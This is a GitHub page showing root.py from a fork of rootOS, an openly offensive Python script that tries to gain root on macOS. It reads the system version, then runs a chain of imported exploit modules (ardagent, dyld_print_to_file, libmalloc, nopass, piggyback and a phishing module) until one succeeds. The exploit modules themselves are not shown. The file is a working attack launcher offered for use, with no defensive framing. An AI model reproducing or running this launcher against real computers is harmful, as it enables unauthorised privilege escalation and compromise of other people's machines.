forked from thehappydinoa/rootOS
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathroot.py
More file actions
executable file
·43 lines (37 loc) · 1.29 KB
/
root.py
File metadata and controls
executable file
·43 lines (37 loc) · 1.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
import platform
from distutils.version import LooseVersion
from exploits import (ardagent, dyld_print_to_file, libmalloc, nopass, phish,
piggyback)
REDC = "\033[91m[-] "
YELLOWC = "\033[93m[!] "
GREENC = "\033[92m[+] "
ENDC = "\033[00m"
NL = "\n"
def main():
"""main function"""
version = platform.mac_ver()[0]
print(GREENC + "Trying to escalate privileges on macOS %s..." % version + ENDC)
for exploit in [ardagent, dyld_print_to_file, libmalloc, nopass, piggyback, phish]:
if not all(ex in dir(exploit) for ex in ["vulnerable", "run"]):
continue
if not exploit.vulnerable(LooseVersion(version)):
print(NL + YELLOWC + "Skipping %s..." % exploit.__name__ + ENDC)
continue
print(NL + YELLOWC + "Trying %s..." % exploit.__name__ + ENDC)
try:
result = exploit.run()
except KeyboardInterrupt:
continue
if result:
print(GREENC + exploit.__name__ + " was successful!" + ENDC)
return result
print(NL + REDC + "Failed" + ENDC)
print(NL + REDC + "All Exploits Unsuccessful" + ENDC)
return
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\nExitting...")
exit(0)